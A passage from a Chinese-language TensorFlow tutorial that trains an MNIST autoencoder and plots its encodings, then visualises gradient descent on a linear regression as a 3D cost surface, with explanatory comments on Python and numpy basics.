layer_1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weights['encoder_h1']),
biases['encoder_b1']))
layer_2 = tf.nn.sigmoid(tf.add(tf.matmul(layer_1, weights['encoder_h2']),
biases['encoder_b2']))
layer_3 = tf.nn.sigmoid(tf.add(tf.matmul(layer_2, weights['encoder_h3']),
biases['encoder_b3']))
# 为了便于编码层的输出,编码层随后一层不使用激活函数
layer_4 = tf.add(tf.matmul(layer_3, weights['encoder_h4']),
biases['encoder_b4'])
return layer_4
def decoder(x):
layer_1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weights['decoder_h1']),
biases['decoder_b1']))
layer_2 = tf.nn.sigmoid(tf.add(tf.matmul(layer_1, weights['decoder_h2']),
biases['decoder_b2']))
layer_3 = tf.nn.sigmoid(tf.add(tf.matmul(layer_2, weights['decoder_h3']),
biases['decoder_b3']))
layer_4 = tf.nn.sigmoid(tf.add(tf.matmul(layer_3, weights['decoder_h4']),
biases['decoder_b4']))
return layer_4
encoder_op = encoder(X)
decoder_op = decoder(encoder_op)
y_pred = decoder_op
y_true = X
cost = tf.reduce_mean(tf.pow(y_true - y_pred, 2))
optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost)
# Launch the graph
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
total_batch = int(mnist.train.num_examples/batch_size)
# Training cycle
for epoch in range(training_epochs):
# Loop over all batches
for i in range(total_batch):
batch_xs, batch_ys = mnist.train.next_batch(batch_size) # max(x) = 1, min(x) = 0
# Run optimization op (backprop) and cost op (to get loss value)
_, c = sess.run([optimizer, cost], feed_dict={X: batch_xs})
# Display logs per epoch step
if epoch % display_step == 0:
print("Epoch:", '%04d' % (epoch+1),
"cost=", "{:.9f}".format(c))
print("Optimization Finished!")
encoder_result = sess.run(encoder_op, feed_dict={X: mnist.test.images})
X=encoder_result[:, 0]
Y=encoder_result[:, 1]
T=np.arctan2(X,Y)
plt.scatter(X, Y, c=T)
ax=plt.gca()
ax.spines['right'].set_color('none')
ax.spines['top'].set_color('none')
plt.show()
输出¶


第十二节:用 Tensorflow 可视化梯度下降¶
导包¶
import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
定义真实数据与测试数据¶
LR=.1
REAL_PARAMS=[1.2,2.5]
INT_PARAMS=[[5,4],
[5,1],
[2,4.5]][0]
定义真实与测试方程¶
x=np.linspace(-1,1,200,dtype=np.float32)
'''
lambda方程
def y_fun(a,b):
return a*x+b
'''
y_fun = lambda a, b: a * x + b
tf_y_fun = lambda a, b: a * x + b
'''
1.*号在定义函数参数时,传入函数的参数会转换成元组,
如果 *号在调用时则会把元组解包成单个元素。
2.**号在定义函数参数时,传入函数的参数会转换成字典,
如果 **号在调用时则会把字典解包成单个元素。
'''
'''
numpy中有一些常用的用来产生随机数的函数,例如:randn()与rand()。
numpy.random.randn(d0, d1, …, dn)是从标准正态分布中返回一个或多个样本值。
numpy.random.rand(d0, d1, …, dn)的随机样本位于[0, 1)中
'''
# sigma * np.random.randn(...) + mu
noise=np.random.randn(200)/10
y = y_fun(*REAL_PARAMS) + noise
# plt.scatter(x,y)
# plt.show()
利用梯度下降方法进行优化¶
a,b=[tf.Variable(initial_value=p,dtype=tf.float32) for p in INT_PARAMS]
pred=tf_y_fun(a,b)
mse=tf.reduce_mean(tf.square(y-pred))
train_op=tf.train.GradientDescentOptimizer(LR).minimize(mse)
a_list,b_list,cost_list=[],[],[]
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
for t in range(400):
a_,b_,mse_=sess.run([a,b,mse])
a_list.append(a_);b_list.append(b_);cost_list.append(mse_)
result,_=sess.run([pred,train_op])
可视化直线图¶
# visualization codes:
print('a=', a_, 'b=', b_)
plt.figure(1)
plt.scatter(x, y, c='b') # plot data
plt.plot(x, result, 'r-', lw=2) # plot line fitting
可视化3D图形¶
# 3D cost figure
fig = plt.figure(2); ax = Axes3D(fig)
a3D, b3D = np.meshgrid(np.linspace(-2, 7, 30), np.linspace(-2, 7, 30)) # parameter space
'''
a = [1,2,3]
b = [4,5,6]
zipped = zip(a,b) # 打包为元组的列表
输出:[(1, 4), (2, 5), (3, 6)]
a=array([[1,2],[3,4],[5,6]]) ###此时a是一个array对象
a
输出:array([[1,2],[3,4],[5,6]])
a.flatten()
输出:array([1,2,3,4,5,6])
flatten()即返回一个折叠成一维的数组。但是该函数只能适用于numpy对象,即array或者mat,普通的list列表是不行的
'''
cost3D = np.array([np.mean(np.square(y_fun(a_, b_) - y)) for a_, b_ in zip(a3D.flatten(), b3D.flatten())]).reshape(a3D.shape)
ax.plot_surface(a3D, b3D, cost3D, rstride=1, cstride=1, cmap=plt.get_cmap('rainbow'), alpha=0.5)
# 绘制点
ax.scatter(a_list[0], b_list[0], zs=cost_list[0], s=300, c='r') # initial parameter place
ax.set_xlabel('a'); ax.set_ylabel('b')
# 绘制线条
ax.plot(a_list, b_list, zs=cost_list, zdir='z', c='r', lw=3) # plot 3D gradient descent
plt.show()
关于作者¶
关于作者¶
- Email: 455954986@qq.com
- Github: https://github.com/Light-City
- My-blog: http://light-city.me